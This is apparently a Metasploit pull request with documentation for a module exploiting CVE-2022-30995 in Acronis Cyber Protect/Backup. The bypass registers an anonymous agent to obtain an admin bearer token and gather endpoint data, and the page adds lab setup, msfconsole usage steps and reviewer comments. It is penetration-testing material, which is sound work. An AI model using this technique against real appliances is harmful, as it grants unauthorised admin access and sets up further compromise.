Acronis Cyber Backup/Protect Info Disclosure [CVE-2022-30995]
Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, compute, storage and application resources. Businesses and Service Providers are using it to protect and backup all IT assets in their IT environment.
This module exploits an authentication bypass vulnerability at the Acronis Cyber Protect appliance which, in its default configuration, allows the anonymous registration of new backup/protection agents on new endpoints. This API endpoint also generates bearer tokens which the agent then uses to authenticate to the appliance. As the management web console is running on the same port as the API for the agents, this bearer token is also valid for any actions on the web console. This allows an attacker with network access to the appliance to start the registration of a new agent, retrieve a bearer token that provides admin access to the available functions in the web console.
This module will gather all machine info (endpoints) configured and managed by the appliance.
This information can be used in a subsequent attack that exploits this vulnerability to execute arbitrary commands on both the managed endpoint and the appliance itself which is covered in another module exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.
Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable.
The following releases were tested.

Installation steps to install the Acronis Cyber Protect/Backup appliance
- Install the virtualization engine VMware Fusion on your preferred platform.
- Here are the installation instructions for VMware Fusion on MacOS.
- Download the Acronis Cyber Backup/Protect iso images from here.
- Install the iso image in your virtualization engine by unzipping the appliance image and import the
ovfimage. - During the boot, select
Install applianceand configure the installation settings such as setting the root password and IP address using the optionchange installation settings. - Boot up the VM and should be able to access the Acronis Cyber Protect/Backup appliance either thru the console,
sshon port22via thewebuiviahttp://your_ip:9877. - Ensure that you have registered yourself on the Acronis Web site and applied for the 30-days trial for Acronis Cyber Protect.
- Login into the appliance via the
webui. - Follow the license instructions to apply your 30-day trial license.
You are now ready to test the module.
Verification Steps
- [ ] Start
msfconsole - [ ]
auxiliary/gather/acronis_cyber_protect_machine_info_disclosure - [ ]
set rhosts <ip-target> - [ ]
run - [ ] you should get a list of all endpoints that are registered at the appliance.
Options
OUTPUT
You can use option table to print output of the gather info to the console (default).
Choosing option json will store all information at a file in json format at the loot directory.
You can use this file in combination with jq for offline queries and processing.

Description:
Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all,
compute, storage and application resources. Businesses and Service Providers are using it
to protect and backup all IT assets in their IT environment.
This module exploits an authentication bypass vulnerability at the Acronis Cyber Protect
appliance which, in its default configuration, allows the anonymous registration of new
backup/protection agents on new endpoints. This API endpoint also generates bearer tokens
which the agent then uses to authenticate to the appliance.
As the management web console is running on the same port as the API for the agents, this
bearer token is also valid for any actions on the web console. This allows an attacker
with network access to the appliance to start the registration of a new agent, retrieve
a bearer token that provides admin access to the available functions in the web console.
This module will gather all machine info (endpoints) configured and managed by the appliance.
This information can be used in a subsequent attack that exploits this vulnerability to
execute arbitrary commands on both the managed endpoint and the appliance which is covered
in another module `exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405`.
Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and
Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable.

Dear reviewers, Please review this module in combination with https://github.com/rapid7/metasploit-framework/pull/19583. Thanks !
Some changes to make 👍
Indeed and I did ;-). See my question at the other PR https://github.com/rapid7/metasploit-framework/pull/19583 on the mixin.
Added mixin with logic that can be used across the two Acronis modules (This PR https://github.com/rapid7/metasploit-framework/pull/19582 and PR https://github.com/rapid7/metasploit-framework/pull/19583)
Release Notes
Adds an auxiliary module which exploits a Sensitive information disclosure due to improper authentication vulnerability in Acronis Cyber Protect 15 before build 29486 and Acronis Cyber Backup 12.5 before build 16545
